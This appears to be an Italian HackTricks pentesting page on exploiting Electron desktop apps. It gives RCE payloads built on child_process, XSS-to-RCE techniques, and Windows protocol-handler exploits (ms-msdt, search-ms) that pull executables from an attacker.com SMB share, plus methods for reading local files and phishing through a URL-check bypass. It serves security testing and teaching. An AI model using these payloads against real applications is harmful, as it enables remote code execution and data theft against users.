Electron Desktop Apps
Reading time: 15 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Introduzione
Electron combina un backend locale (con NodeJS) e un frontend (Chromium), anche se manca di alcuni meccanismi di sicurezza dei browser moderni.
Di solito puoi trovare il codice dell'app electron all'interno di un'applicazione .asar
, per ottenere il codice è necessario estrarlo:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Nel codice sorgente di un'app Electron, all'interno di packet.json
, puoi trovare specificato il file main.js
dove sono impostate le configurazioni di sicurezza.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron ha 2 tipi di processi:
- Processo Principale (ha accesso completo a NodeJS)
- Processo Renderer (dovrebbe avere accesso limitato a NodeJS per motivi di sicurezza)
Un processo renderer sarà una finestra del browser che carica un file:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Le impostazioni del renderer process possono essere configurate nel main process all'interno del file main.js. Alcune delle configurazioni preveniranno all'applicazione Electron di ottenere RCE o altre vulnerabilità se le impostazioni sono configurate correttamente.
L'applicazione electron potrebbe accedere al dispositivo tramite le API di Node, anche se può essere configurata per prevenirlo:
nodeIntegration
- èoff
per impostazione predefinita. Se attivato, consente di accedere alle funzionalità di Node dal renderer process.contextIsolation
- èon
per impostazione predefinita. Se disattivato, i processi main e renderer non sono isolati.preload
- vuoto per impostazione predefinita.sandbox
- è disattivato per impostazione predefinita. Restriggerà le azioni che NodeJS può eseguire.- Integrazione di Node nei Workers
nodeIntegrationInSubframes
- èoff
per impostazione predefinita.- Se
nodeIntegration
è abilitato, questo consentirebbe l'uso delle API di Node.js nelle pagine web che sono caricate in iframe all'interno di un'applicazione Electron. - Se
nodeIntegration
è disabilitato, allora i preload verranno caricati nell'iframe.
Esempio di configurazione:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Alcuni RCE payloads da qui:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Cattura del traffico
Modifica la configurazione start-main e aggiungi l'uso di un proxy come:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Esecuzione di Codice Locale in Electron
Se puoi eseguire localmente un'app Electron, è possibile che tu possa farla eseguire codice javascript arbitrario. Controlla come in:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Se nodeIntegration è impostato su on, il JavaScript di una pagina web può utilizzare facilmente le funzionalità di Node.js semplicemente chiamando require()
. Ad esempio, il modo per eseguire l'applicazione calcolatrice su Windows è:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
RCE: preload
Lo script indicato in questa impostazione è loaded prima di altri script nel renderer, quindi ha accesso illimitato alle API di Node:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Pertanto, lo script può esportare node-features su pagine:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Se
contextIsolation
è attivato, questo non funzionerà
RCE: XSS + contextIsolation
Il contextIsolation introduce i contesti separati tra gli script della pagina web e il codice interno JavaScript di Electron in modo che l'esecuzione di ciascun codice non influisca sugli altri. Questa è una caratteristica necessaria per eliminare la possibilità di RCE.
Se i contesti non sono isolati, un attaccante può:
- Eseguire JavaScript arbitrario nel renderer (XSS o navigazione verso siti esterni)
- Sovrascrivere il metodo incorporato che viene utilizzato nel preload o nel codice interno di Electron con una propria funzione
- Attivare l'uso della funzione sovrascritta
- RCE?
Ci sono 2 luoghi in cui i metodi incorporati possono essere sovrascritti: nel codice di preload o nel codice interno di Electron:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Bypass dell'evento di clic
Se ci sono restrizioni applicate quando clicchi su un link, potresti essere in grado di aggirarle facendo un clic centrale invece di un normale clic sinistro.
window.addEventListener('click', (e) => {
RCE tramite shell.openExternal
Per ulteriori informazioni su questi esempi, controlla https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/
Quando si distribuisce un'applicazione desktop Electron, è fondamentale garantire le impostazioni corrette per nodeIntegration
e contextIsolation
. È stato stabilito che l'esecuzione remota di codice lato client (RCE) mirata a script di preload o al codice nativo di Electron dal processo principale è efficacemente prevenuta con queste impostazioni in atto.
Quando un utente interagisce con i link o apre nuove finestre, vengono attivati specifici listener di eventi, che sono cruciali per la sicurezza e la funzionalità dell'applicazione:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Questi listener sono sovrascritti dall'applicazione desktop per implementare la propria logica aziendale. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene tipicamente presa attraverso una funzione, openInternally
. Se questa funzione restituisce false
, indica che il link deve essere aperto esternamente, utilizzando la funzione shell.openExternal
.
Ecco un pseudocodice semplificato:
Le migliori pratiche di sicurezza di Electron JS sconsigliano di accettare contenuti non attendibili con la funzione openExternal
, poiché potrebbe portare a RCE attraverso vari protocolli. I sistemi operativi supportano diversi protocolli che potrebbero attivare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a questa risorsa, che include esempi di protocolli Windows capaci di sfruttare questa vulnerabilità.
In macos, la funzione openExternal
può essere sfruttata per eseguire comandi arbitrari come in shell.openExternal('file:///System/Applications/Calculator.app')
.
Esempi di exploit di protocolli Windows includono:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
Lettura di File Interni: XSS + contextIsolation
Disabilitare contextIsolation
consente l'uso di <webview>
tags, simile a <iframe>
, per leggere ed esfiltrare file locali. Un esempio fornito dimostra come sfruttare questa vulnerabilità per leggere il contenuto di file interni:
Inoltre, viene condiviso un altro metodo per leggere un file interno, evidenziando una vulnerabilità critica di lettura di file locali in un'app desktop Electron. Questo comporta l'iniezione di uno script per sfruttare l'applicazione ed esfiltrare dati:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
Se il chromium utilizzato dall'applicazione è vecchio e ci sono vulnerabilità note su di esso, potrebbe essere possibile sfruttarlo e ottenere RCE tramite un XSS.
Puoi vedere un esempio in questo writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing tramite bypass regex URL interne
Supponendo che tu abbia trovato un XSS ma non puoi attivare RCE o rubare file interni, potresti provare a usarlo per rubare credenziali tramite phishing.
Prima di tutto, devi sapere cosa succede quando provi ad aprire un nuovo URL, controllando il codice JS nel front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
La chiamata a openInternally
deciderà se il link sarà aperto nella finestra desktop poiché è un link appartenente alla piattaforma, o se sarà aperto nel browser come risorsa di terze parti.
Nel caso in cui il regex utilizzato dalla funzione sia vulnerabile a bypass (ad esempio, non eseguendo l'escape dei punti dei sottodomini), un attaccante potrebbe abusare dell'XSS per aprire una nuova finestra che sarà situata nell'infrastruttura dell'attaccante richiedendo credenziali all'utente:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
Modulo remoto
Il modulo Remote di Electron consente ai processi di rendering di accedere alle API del processo principale, facilitando la comunicazione all'interno di un'applicazione Electron. Tuttavia, abilitare questo modulo introduce rischi significativi per la sicurezza. Espande la superficie di attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come gli attacchi di cross-site scripting (XSS).
tip
Anche se il modulo remote espone alcune API dal principale ai processi di rendering, non è semplice ottenere RCE solo abusando dei componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili.
warning
Molte app che utilizzano ancora il modulo remoto lo fanno in un modo che richiede l'abilitazione di NodeIntegration nel processo di rendering, il che rappresenta un enorme rischio per la sicurezza.
Dalla versione 14 di Electron, il modulo remote
di Electron potrebbe essere abilitato in diversi passaggi, poiché per motivi di sicurezza e prestazioni è consigliato non usarlo.
Per abilitarlo, è prima necessario abilitarlo nel processo principale:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Quindi, il processo di rendering può importare oggetti dal modulo come:
import { dialog, getCurrentWindow } from '@electron/remote'
Il post del blog indica alcune interessanti funzioni esposte dall'oggetto app
del modulo remoto:
app.relaunch([options])
- Riavvia l'applicazione uscendo dall'istanza corrente e lanciando una nuova. Utile per aggiornamenti dell'app o significativi cambiamenti di stato.
app.setAppLogsPath([path])
- Definisce o crea una directory per memorizzare i log dell'app. I log possono essere recuperati o modificati utilizzando
app.getPath()
oapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Registra l'eseguibile corrente come gestore predefinito per un protocollo specificato. Puoi fornire un percorso personalizzato e argomenti se necessario.
app.setUserTasks(tasks)
- Aggiunge attività alla categoria Attività nella Jump List (su Windows). Ogni attività può controllare come l'app viene lanciata o quali argomenti vengono passati.
app.importCertificate(options, callback)
- Importa un certificato PKCS#12 nel negozio di certificati del sistema (solo Linux). Un callback può essere utilizzato per gestire il risultato.
app.moveToApplicationsFolder([options])
- Sposta l'applicazione nella cartella Applicazioni (su macOS). Aiuta a garantire un'installazione standard per gli utenti Mac.
app.setJumpList(categories)
- Imposta o rimuove una Jump List personalizzata su Windows. Puoi specificare categorie per organizzare come le attività appaiono all'utente.
app.setLoginItemSettings(settings)
- Configura quali eseguibili si avviano al login insieme alle loro opzioni (solo macOS e Windows).
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences module
L'API principale per accedere alle preferenze di sistema e emettendo eventi di sistema in Electron. Metodi come subscribeNotification, subscribeWorkspaceNotification, getUserDefault e setUserDefault sono tutti parte di questo modulo.
Esempio di utilizzo:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Ascolta le notifiche native macOS utilizzando NSDistributedNotificationCenter.
- Prima di macOS Catalina, potevi sniffare tutte le notifiche distribuite passando nil a CFNotificationCenterAddObserver.
- Dopo Catalina / Big Sur, le app sandboxed possono ancora iscriversi a molti eventi (ad esempio, blocco/sblocco dello schermo, montaggi di volume, attività di rete, ecc.) registrando le notifiche per nome.
getUserDefault / setUserDefault
-
Interfaccia con NSUserDefaults, che memorizza le preferenze dell'applicazione o globali su macOS.
-
getUserDefault può recuperare informazioni sensibili, come posizioni di file recenti o posizione geografica dell'utente.
-
setUserDefault può modificare queste preferenze, potenzialmente influenzando la configurazione di un'app.
-
Nelle versioni più vecchie di Electron (prima della v8.3.0), solo la suite standard di NSUserDefaults era accessibile.
Shell.showItemInFolder
Questa funzione mostra il file dato in un gestore di file, che potrebbe eseguire automaticamente il file.
Per ulteriori informazioni controlla https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Tools
- Electronegativity è uno strumento per identificare misconfigurazioni e anti-pattern di sicurezza nelle applicazioni basate su Electron.
- Electrolint è un plugin open source per VS Code per applicazioni Electron che utilizza Electronegativity.
- nodejsscan per controllare librerie di terze parti vulnerabili
- Electro.ng: Devi acquistarlo
Labs
In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s puoi trovare un laboratorio per sfruttare app Electron vulnerabili.
Al alcuni comandi che ti aiuteranno con il laboratorio:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Riferimenti
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Maggiori ricerche e articoli sulla sicurezza di Electron in https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.